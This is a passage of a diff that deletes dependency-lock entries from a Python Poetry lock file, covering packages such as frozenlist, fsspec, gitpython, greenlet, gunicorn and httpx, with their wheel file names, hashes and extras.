"sha256:912a7e8375a1c9a68325a902f3953191b7b292aa3c3fb0d71a216221deca460b"}, - {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9537c2777167488d539bc5de2ad262efc44388230e5118868e172dd4a552b146"}, - {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:f34560fb1b4c3e30ba35fa9a13894ba39e5acfc5f60f57d8accde65f46cc5e74"}, - {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:acd03d224b0175f5a850edc104ac19040d35419eddad04e7cf2d5986d98427f1"}, - {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f2038310bc582f3d6a09b3816ab01737d60bf7b1ec70f5356b09e84fb7408ab1"}, - {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b8c05e4c8e5f36e5e088caa1bf78a687528f83c043706640a92cb76cd6999384"}, - {file = "frozenlist-1.7.0-cp313-cp313t-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:765bb588c86e47d0b68f23c1bee323d4b703218037765dcf3f25c838c6fecceb"}, - {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:32dc2e08c67d86d0969714dd484fd60ff08ff81d1a1e40a77dd34a387e6ebc0c"}, - {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:c0303e597eb5a5321b4de9c68e9845ac8f290d2ab3f3e2c864437d3c5a30cd65"}, - {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:a47f2abb4e29b3a8d0b530f7c3598badc6b134562b1a5caee867f7c62fee51e3"}, - {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:3d688126c242a6fabbd92e02633414d40f50bb6002fa4cf995a1d18051525657"}, - {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:4e7e9652b3d367c7bd449a727dc79d5043f48b88d0cbfd4f9f1060cf2b414104"}, - {file = "frozenlist-1.7.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:1a85e345b4c43db8b842cab1feb41be5cc0b10a1830e6295b69d7310f99becaf"}, - {file = "frozenlist-1.7.0-cp313-cp313t-win32.whl", hash = "sha256:3a14027124ddb70dfcee5148979998066897e79f89f64b13328595c4bdf77c81"}, - {file = "frozenlist-1.7.0-cp313-cp313t-win_amd64.whl", hash = "sha256:3bf8010d71d4507775f658e9823210b7427be36625b387221642725b515dcf3e"}, - {file = "frozenlist-1.7.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:cea3dbd15aea1341ea2de490574a4a37ca080b2ae24e4b4f4b51b9057b4c3630"}, - {file = "frozenlist-1.7.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7d536ee086b23fecc36c2073c371572374ff50ef4db515e4e503925361c24f71"}, - {file = "frozenlist-1.7.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:dfcebf56f703cb2e346315431699f00db126d158455e513bd14089d992101e44"}, - {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:974c5336e61d6e7eb1ea5b929cb645e882aadab0095c5a6974a111e6479f8878"}, - {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:c70db4a0ab5ab20878432c40563573229a7ed9241506181bba12f6b7d0dc41cb"}, - {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1137b78384eebaf70560a36b7b229f752fb64d463d38d1304939984d5cb887b6"}, - {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e793a9f01b3e8b5c0bc646fb59140ce0efcc580d22a3468d70766091beb81b35"}, - {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:74739ba8e4e38221d2c5c03d90a7e542cb8ad681915f4ca8f68d04f810ee0a87"}, - {file = "frozenlist-1.7.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1e63344c4e929b1a01e29bc184bbb5fd82954869033765bfe8d65d09e336a677"}, - {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:2ea2a7369eb76de2217a842f22087913cdf75f63cf1307b9024ab82dfb525938"}, - {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_armv7l.whl", hash = "sha256:836b42f472a0e006e02499cef9352ce8097f33df43baaba3e0a28a964c26c7d2"}, - {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:e22b9a99741294b2571667c07d9f8cceec07cb92aae5ccda39ea1b6052ed4319"}, - {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:9a19e85cc503d958abe5218953df722748d87172f71b73cf3c9257a91b999890"}, - {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:f22dac33bb3ee8fe3e013aa7b91dc12f60d61d05b7fe32191ffa84c3aafe77bd"}, - {file = "frozenlist-1.7.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:9ccec739a99e4ccf664ea0775149f2749b8a6418eb5b8384b4dc0a7d15d304cb"}, - {file = "frozenlist-1.7.0-cp39-cp39-win32.whl", hash = "sha256:b3950f11058310008a87757f3eee16a8e1ca97979833239439586857bc25482e"}, - {file = "frozenlist-1.7.0-cp39-cp39-win_amd64.whl", hash = "sha256:43a82fce6769c70f2f5a06248b614a7d268080a9d20f7457ef10ecee5af82b63"}, - {file = "frozenlist-1.7.0-py3-none-any.whl", hash = "sha256:9a5af342e34f7e97caf8c995864c7a396418ae2859cc6fdf1b1073020d516a7e"}, - {file = "frozenlist-1.7.0.tar.gz", hash = "sha256:2e310d81923c2437ea8670467121cc3e9b0f76d3043cc1d2331d56c7fb7a3a8f"}, -] - -[[package]] -name = "fsspec" -version = "2025.7.0" -description = "File-system specification" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "fsspec-2025.7.0-py3-none-any.whl", hash = "sha256:8b012e39f63c7d5f10474de957f3ab793b47b45ae7d39f2fb735f8bbe25c0e21"}, - {file = "fsspec-2025.7.0.tar.gz", hash = "sha256:786120687ffa54b8283d942929540d8bc5ccfa820deb555a2b5d0ed2b737bf58"}, -] - -[package.extras] -abfs = ["adlfs"] -adl = ["adlfs"] -arrow = ["pyarrow (>=1)"] -dask = ["dask", "distributed"] -dev = ["pre-commit", "ruff (>=0.5)"] -doc = ["numpydoc", "sphinx", "sphinx-design", "sphinx-rtd-theme", "yarl"] -dropbox = ["dropbox", "dropboxdrivefs", "requests"] -full = ["adlfs", "aiohttp (!=4.0.0a0,!=4.0.0a1)", "dask", "distributed", "dropbox", "dropboxdrivefs", "fusepy", "gcsfs", "libarchive-c", "ocifs", "panel", "paramiko", "pyarrow (>=1)", "pygit2", "requests", "s3fs", "smbprotocol", "tqdm"] -fuse = ["fusepy"] -gcs = ["gcsfs"] -git = ["pygit2"] -github = ["requests"] -gs = ["gcsfs"] -gui = ["panel"] -hdfs = ["pyarrow (>=1)"] -http = ["aiohttp (!=4.0.0a0,!=4.0.0a1)"] -libarchive = ["libarchive-c"] -oci = ["ocifs"] -s3 = ["s3fs"] -sftp = ["paramiko"] -smb = ["smbprotocol"] -ssh = ["paramiko"] -test = ["aiohttp (!=4.0.0a0,!=4.0.0a1)", "numpy", "pytest", "pytest-asyncio (!=0.22.0)", "pytest-benchmark", "pytest-cov", "pytest-mock", "pytest-recording", "pytest-rerunfailures", "requests"] -test-downstream = ["aiobotocore (>=2.5.4,<3.0.0)", "dask[dataframe,test]", "moto[server] (>4,<5)", "pytest-timeout", "xarray"] -test-full = ["adlfs", "aiohttp (!=4.0.0a0,!=4.0.0a1)", "cloudpickle", "dask", "distributed", "dropbox", "dropboxdrivefs", "fastparquet", "fusepy", "gcsfs", "jinja2", "kerchunk", "libarchive-c", "lz4", "notebook", "numpy", "ocifs", "pandas", "panel", "paramiko", "pyarrow", "pyarrow (>=1)", "pyftpdlib", "pygit2", "pytest", "pytest-asyncio (!=0.22.0)", "pytest-benchmark", "pytest-cov", "pytest-mock", "pytest-recording", "pytest-rerunfailures", "python-snappy", "requests", "smbprotocol", "tqdm", "urllib3", "zarr", "zstandard"] -tqdm = ["tqdm"] - -[[package]] -name = "gitdb" -version = "4.0.12" -description = "Git Object Database" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "gitdb-4.0.12-py3-none-any.whl", hash = "sha256:67073e15955400952c6565cc3e707c554a4eea2e428946f7a4c162fab9bd9bcf"}, - {file = "gitdb-4.0.12.tar.gz", hash = "sha256:5ef71f855d191a3326fcfbc0d5da835f26b13fbcba60c32c21091c349ffdb571"}, -] - -[package.dependencies] -smmap = ">=3.0.1,<6" - -[[package]] -name = "gitpython" -version = "3.1.45" -description = "GitPython is a Python library used to interact with Git repositories" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "gitpython-3.1.45-py3-none-any.whl", hash = "sha256:8908cb2e02fb3b93b7eb0f2827125cb699869470432cc885f019b8fd0fccff77"}, - {file = "gitpython-3.1.45.tar.gz", hash = "sha256:85b0ee964ceddf211c41b9f27a49086010a190fd8132a24e21f362a4b36a791c"}, -] - -[package.dependencies] -gitdb = ">=4.0.1,<5" - -[package.extras] -doc = ["sphinx (>=7.1.2,<7.2)", "sphinx-autodoc-typehints", "sphinx_rtd_theme"] -test = ["coverage[toml]", "ddt (>=1.1.1,!=1.4.3)", "mock", "mypy", "pre-commit", "pytest (>=7.3.1)", "pytest-cov", "pytest-instafail", "pytest-mock", "pytest-sugar", "typing-extensions"] - -[[package]] -name = "gql" -version = "3.5.3" -description = "GraphQL client for Python" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "gql-3.5.3-py2.py3-none-any.whl", hash = "sha256:e1fcbde2893fcafdd28114ece87ff47f1cc339a31db271fc4e1d528f5a1d4fbc"}, - {file = "gql-3.5.3.tar.gz", hash = "sha256:393b8c049d58e0d2f5461b9d738a2b5f904186a40395500b4a84dd092d56e42b"}, -] - -[package.dependencies] -anyio = ">=3.0,<5" -backoff = ">=1.11.1,<3.0" -graphql-core = ">=3.2,<3.2.7" -requests = {version = ">=2.26,<3", optional = true, markers = "extra == \"requests\""} -requests-toolbelt = {version = ">=1.0.0,<2", optional = true, markers = "extra == \"requests\""} -yarl = ">=1.6,<2.0" - -[package.extras] -aiohttp = ["aiohttp (>=3.8.0,<4)", "aiohttp (>=3.9.0b0,<4)"] -all = ["aiohttp (>=3.8.0,<4)", "aiohttp (>=3.9.0b0,<4)", "botocore (>=1.21,<2)", "httpx (>=0.23.1,<1)", "requests (>=2.26,<3)", "requests-toolbelt (>=1.0.0,<2)", "websockets (>=10,<12)"] -botocore = ["botocore (>=1.21,<2)"] -dev = ["aiofiles", "aiohttp (>=3.8.0,<4)", "aiohttp (>=3.9.0b0,<4)", "black (==22.3.0)", "botocore (>=1.21,<2)", "check-manifest (>=0.42,<1)", "flake8 (==3.8.1)", "httpx (>=0.23.1,<1)", "isort (==4.3.21)", "mock (==4.0.2)", "mypy (==0.910)", "parse (==1.15.0)", "pytest (==7.4.2)", "pytest-asyncio (==0.21.1)", "pytest-console-scripts (==1.3.1)", "pytest-cov (==3.0.0)", "requests (>=2.26,<3)", "requests-toolbelt (>=1.0.0,<2)", "sphinx (>=5.3.0,<6)", "sphinx-argparse (==0.2.5)", "sphinx-rtd-theme (>=0.4,<1)", "types-aiofiles", "types-mock", "types-requests", "vcrpy (==4.4.0)", "vcrpy (==7.0.0)", "websockets (>=10,<12)"] -httpx = ["httpx (>=0.23.1,<1)"] -requests = ["requests (>=2.26,<3)", "requests-toolbelt (>=1.0.0,<2)"] -test = ["aiofiles", "aiohttp (>=3.8.0,<4)", "aiohttp (>=3.9.0b0,<4)", "botocore (>=1.21,<2)", "httpx (>=0.23.1,<1)", "mock (==4.0.2)", "parse (==1.15.0)", "pytest (==7.4.2)", "pytest-asyncio (==0.21.1)", "pytest-console-scripts (==1.3.1)", "pytest-cov (==3.0.0)", "requests (>=2.26,<3)", "requests-toolbelt (>=1.0.0,<2)", "vcrpy (==4.4.0)", "vcrpy (==7.0.0)", "websockets (>=10,<12)"] -test-no-transport = ["aiofiles", "mock (==4.0.2)", "parse (==1.15.0)", "pytest (==7.4.2)", "pytest-asyncio (==0.21.1)", "pytest-console-scripts (==1.3.1)", "pytest-cov (==3.0.0)", "vcrpy (==4.4.0)", "vcrpy (==7.0.0)"] -websockets = ["websockets (>=10,<12)"] - -[[package]] -name = "graphql-core" -version = "3.2.6" -description = "GraphQL implementation for Python, a port of GraphQL.js, the JavaScript reference implementation for GraphQL." -optional = false -python-versions = "<4,>=3.6" -groups = ["main"] -files = [ - {file = "graphql_core-3.2.6-py3-none-any.whl", hash = "sha256:78b016718c161a6fb20a7d97bbf107f331cd1afe53e45566c59f776ed7f0b45f"}, - {file = "graphql_core-3.2.6.tar.gz", hash = "sha256:c08eec22f9e40f0bd61d805907e3b3b1b9a320bc606e23dc145eebca07c8fbab"}, -] - -[[package]] -name = "greenlet" -version = "3.2.4" -description = "Lightweight in-process concurrent programming" -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "greenlet-3.2.4-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:8c68325b0d0acf8d91dde4e6f930967dd52a5302cd4062932a6b2e7c2969f47c"}, - {file = "greenlet-3.2.4-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:94385f101946790ae13da500603491f04a76b6e4c059dab271b3ce2e283b2590"}, - {file = "greenlet-3.2.4-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f10fd42b5ee276335863712fa3da6608e93f70629c631bf77145021600abc23c"}, - {file = "greenlet-3.2.4-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:c8c9e331e58180d0d83c5b7999255721b725913ff6bc6cf39fa2a45841a4fd4b"}, - {file = "greenlet-3.2.4-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:58b97143c9cc7b86fc458f215bd0932f1757ce649e05b640fea2e79b54cedb31"}, - {file = "greenlet-3.2.4-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c2ca18a03a8cfb5b25bc1cbe20f3d9a4c80d8c3b13ba3df49ac3961af0b1018d"}, - {file = "greenlet-3.2.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9fe0a28a7b952a21e2c062cd5756d34354117796c6d9215a87f55e38d15402c5"}, - {file = "greenlet-3.2.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:8854167e06950ca75b898b104b63cc646573aa5fef1353d4508ecdd1ee76254f"}, - {file = "greenlet-3.2.4-cp310-cp310-win_amd64.whl", hash = "sha256:73f49b5368b5359d04e18d15828eecc1806033db5233397748f4ca813ff1056c"}, - {file = "greenlet-3.2.4-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:96378df1de302bc38e99c3a9aa311967b7dc80ced1dcc6f171e99842987882a2"}, - {file = "greenlet-3.2.4-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:1ee8fae0519a337f2329cb78bd7a8e128ec0f881073d43f023c7b8d4831d5246"}, - {file = "greenlet-3.2.4-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:94abf90142c2a18151632371140b3dba4dee031633fe614cb592dbb6c9e17bc3"}, - {file = "greenlet-3.2.4-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:4d1378601b85e2e5171b99be8d2dc85f594c79967599328f95c1dc1a40f1c633"}, - {file = "greenlet-3.2.4-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0db5594dce18db94f7d1650d7489909b57afde4c580806b8d9203b6e79cdc079"}, - {file = "greenlet-3.2.4-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2523e5246274f54fdadbce8494458a2ebdcdbc7b802318466ac5606d3cded1f8"}, - {file = "greenlet-3.2.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:1987de92fec508535687fb807a5cea1560f6196285a4cde35c100b8cd632cc52"}, - {file = "greenlet-3.2.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:55e9c5affaa6775e2c6b67659f3a71684de4c549b3dd9afca3bc773533d284fa"}, - {file = "greenlet-3.2.4-cp311-cp311-win_amd64.whl", hash = "sha256:9c40adce87eaa9ddb593ccb0fa6a07caf34015a29bf8d344811665b573138db9"}, - {file = "greenlet-3.2.4-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:3b67ca49f54cede0186854a008109d6ee71f66bd57bb36abd6d0a0267b540cdd"}, - {file = "greenlet-3.2.4-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ddf9164e7a5b08e9d22511526865780a576f19ddd00d62f8a665949327fde8bb"}, - {file = "greenlet-3.2.4-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:f28588772bb5fb869a8eb331374ec06f24a83a9c25bfa1f38b6993afe9c1e968"}, - {file = "greenlet-3.2.4-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:5c9320971821a7cb77cfab8d956fa8e39cd07ca44b6070db358ceb7f8797c8c9"}, - {file = "greenlet-3.2.4-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:c60a6d84229b271d44b70fb6e5fa23781abb5d742af7b808ae3f6efd7c9c60f6"}, - {file = "greenlet-3.2.4-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:3b3812d8d0c9579967815af437d96623f45c0f2ae5f04e366de62a12d83a8fb0"}, - {file = "greenlet-3.2.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:abbf57b5a870d30c4675928c37278493044d7c14378350b3aa5d484fa65575f0"}, - {file = "greenlet-3.2.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:20fb936b4652b6e307b8f347665e2c615540d4b42b3b4c8a321d8286da7e520f"}, - {file = "greenlet-3.2.4-cp312-cp312-win_amd64.whl", hash = "sha256:a7d4e128405eea3814a12cc2605e0e6aedb4035bf32697f72deca74de4105e02"}, - {file = "greenlet-3.2.4-cp313-cp313-macosx_11_0_universal2.whl", hash = "sha256:1a921e542453fe531144e91e1feedf12e07351b1cf6c9e8a3325ea600a715a31"}, - {file = "greenlet-3.2.4-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:cd3c8e693bff0fff6ba55f140bf390fa92c994083f838fece0f63be121334945"}, - {file = "greenlet-3.2.4-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:710638eb93b1fa52823aa91bf75326f9ecdfd5e0466f00789246a5280f4ba0fc"}, - {file = "greenlet-3.2.4-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:c5111ccdc9c88f423426df3fd1811bfc40ed66264d35aa373420a34377efc98a"}, - {file = "greenlet-3.2.4-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d76383238584e9711e20ebe14db6c88ddcedc1829a9ad31a584389463b5aa504"}, - {file = "greenlet-3.2.4-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:23768528f2911bcd7e475210822ffb5254ed10d71f4028387e5a99b4c6699671"}, - {file = "greenlet-3.2.4-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:00fadb3fedccc447f517ee0d3fd8fe49eae949e1cd0f6a611818f4f6fb7dc83b"}, - {file = "greenlet-3.2.4-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:d25c5091190f2dc0eaa3f950252122edbbadbb682aa7b1ef2f8af0f8c0afefae"}, - {file = "greenlet-3.2.4-cp313-cp313-win_amd64.whl", hash = "sha256:554b03b6e73aaabec3745364d6239e9e012d64c68ccd0b8430c64ccc14939a8b"}, - {file = "greenlet-3.2.4-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:49a30d5fda2507ae77be16479bdb62a660fa51b1eb4928b524975b3bde77b3c0"}, - {file = "greenlet-3.2.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:299fd615cd8fc86267b47597123e3f43ad79c9d8a22bebdce535e53550763e2f"}, - {file = "greenlet-3.2.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:c17b6b34111ea72fc5a4e4beec9711d2226285f0386ea83477cbb97c30a3f3a5"}, - {file = "greenlet-3.2.4-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b4a1870c51720687af7fa3e7cda6d08d801dae660f75a76f3845b642b4da6ee1"}, - {file = "greenlet-3.2.4-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:061dc4cf2c34852b052a8620d40f36324554bc192be474b9e9770e8c042fd735"}, - {file = "greenlet-3.2.4-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:44358b9bf66c8576a9f57a590d5f5d6e72fa4228b763d0e43fee6d3b06d3a337"}, - {file = "greenlet-3.2.4-cp314-cp314-win_amd64.whl", hash = "sha256:e37ab26028f12dbb0ff65f29a8d3d44a765c61e729647bf2ddfbbed621726f01"}, - {file = "greenlet-3.2.4-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:b6a7c19cf0d2742d0809a4c05975db036fdff50cd294a93632d6a310bf9ac02c"}, - {file = "greenlet-3.2.4-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:27890167f55d2387576d1f41d9487ef171849ea0359ce1510ca6e06c8bece11d"}, - {file = "greenlet-3.2.4-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:18d9260df2b5fbf41ae5139e1be4e796d99655f023a636cd0e11e6406cca7d58"}, - {file = "greenlet-3.2.4-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:671df96c1f23c4a0d4077a325483c1503c96a1b7d9db26592ae770daa41233d4"}, - {file = "greenlet-3.2.4-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:16458c245a38991aa19676900d48bd1a6f2ce3e16595051a4db9d012154e8433"}, - {file = "greenlet-3.2.4-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c9913f1a30e4526f432991f89ae263459b1c64d1608c0d22a5c79c287b3c70df"}, - {file = "greenlet-3.2.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b90654e092f928f110e0007f572007c9727b5265f7632c2fa7415b4689351594"}, - {file = "greenlet-3.2.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:81701fd84f26330f0d5f4944d4e92e61afe6319dcd9775e39396e39d7c3e5f98"}, - {file = "greenlet-3.2.4-cp39-cp39-win32.whl", hash = "sha256:65458b409c1ed459ea899e939f0e1cdb14f58dbc803f2f93c5eab5694d32671b"}, - {file = "greenlet-3.2.4-cp39-cp39-win_amd64.whl", hash = "sha256:d2e685ade4dafd447ede19c31277a224a239a0a1a4eca4e6390efedf20260cfb"}, - {file = "greenlet-3.2.4.tar.gz", hash = "sha256:0dca0d95ff849f9a364385f36ab49f50065d76964944638be9691e1832e9f86d"}, -] - -[package.extras] -docs = ["Sphinx", "furo"] -test = ["objgraph", "psutil", "setuptools"] - -[[package]] -name = "grep-ast" -version = "0.9.0" -description = "A tool to grep through the AST of a source file" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "grep_ast-0.9.0-py3-none-any.whl", hash = "sha256:a3973dca99f1abc026a01bbbc70e00a63860c8ff94a56182ff18b089836826d7"}, - {file = "grep_ast-0.9.0.tar.gz", hash = "sha256:620a242a4493e6721338d1c9a6c234ae651f8774f4924a6dcf90f6865d4b2ee3"}, -] - -[package.dependencies] -pathspec = "*" -tree-sitter-language-pack = "*" - -[[package]] -name = "gunicorn" -version = "23.0.0" -description = "WSGI HTTP Server for UNIX" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "gunicorn-23.0.0-py3-none-any.whl", hash = "sha256:ec400d38950de4dfd418cff8328b2c8faed0edb0d517d3394e457c317908ca4d"}, - {file = "gunicorn-23.0.0.tar.gz", hash = "sha256:f014447a0101dc57e294f6c18ca6b40227a4c90e9bdb586042628030cba004ec"}, -] - -[package.dependencies] -packaging = "*" - -[package.extras] -eventlet = ["eventlet (>=0.24.1,!=0.36.0)"] -gevent = ["gevent (>=1.4.0)"] -setproctitle = ["setproctitle"] -testing = ["coverage", "eventlet", "gevent", "pytest", "pytest-cov"] -tornado = ["tornado (>=0.2)"] - -[[package]] -name = "h11" -version = "0.16.0" -description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86"}, - {file = "h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1"}, -] - -[[package]] -name = "hf-xet" -version = "1.1.7" -description = "Fast transfer of large files with the Hugging Face Hub." -optional = false -python-versions = ">=3.8" -groups = ["main"] -markers = "platform_machine == \"x86_64\" or platform_machine == \"amd64\" or platform_machine == \"arm64\" or platform_machine == \"aarch64\"" -files = [ - {file = "hf_xet-1.1.7-cp37-abi3-macosx_10_12_x86_64.whl", hash = "sha256:60dae4b44d520819e54e216a2505685248ec0adbdb2dd4848b17aa85a0375cde"}, - {file = "hf_xet-1.1.7-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:b109f4c11e01c057fc82004c9e51e6cdfe2cb230637644ade40c599739067b2e"}, - {file = "hf_xet-1.1.7-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6efaaf1a5a9fc3a501d3e71e88a6bfebc69ee3a716d0e713a931c8b8d920038f"}, - {file = "hf_xet-1.1.7-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:751571540f9c1fbad9afcf222a5fb96daf2384bf821317b8bfb0c59d86078513"}, - {file = "hf_xet-1.1.7-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:18b61bbae92d56ae731b92087c44efcac216071182c603fc535f8e29ec4b09b8"}, - {file = "hf_xet-1.1.7-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:713f2bff61b252f8523739969f247aa354ad8e6d869b8281e174e2ea1bb8d604"}, - {file = "hf_xet-1.1.7-cp37-abi3-win_amd64.whl", hash = "sha256:2e356da7d284479ae0f1dea3cf5a2f74fdf925d6dca84ac4341930d892c7cb34"}, - {file = "hf_xet-1.1.7.tar.gz", hash = "sha256:20cec8db4561338824a3b5f8c19774055b04a8df7fff0cb1ff2cb1a0c1607b80"}, -] - -[package.extras] -tests = ["pytest"] - -[[package]] -name = "httpcore" -version = "1.0.9" -description = "A minimal low-level HTTP client." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55"}, - {file = "httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8"}, -] - -[package.dependencies] -certifi = "*" -h11 = ">=0.16" - -[package.extras] -asyncio = ["anyio (>=4.0,<5.0)"] -http2 = ["h2 (>=3,<5)"] -socks = ["socksio (==1.*)"] -trio = ["trio (>=0.22.0,<1.0)"] - -[[package]] -name = "httpx" -version = "0.28.1" -description = "The next generation HTTP client." -optional = false -python-versions = ">=3.8" -groups = ["main"] -files = [ - {file = "httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad"}, - {file = "httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc"}, -] - -[package.dependencies] -anyio = "*" -certifi = "*" -httpcore = "==1.*" -idna = "*" - -[package.extras] -brotli = ["brotli", "brotlicffi"] -cli = ["click (==8.*)", "pygments (==2.*)", "rich (>=10,<14)"] -http2 = ["h2 (>=3,<5)"] -socks = ["socksio (==1.*)"] -zstd = ["zstandard (>=0.18.0)"] - -[[package]] -name = "httpx-sse" 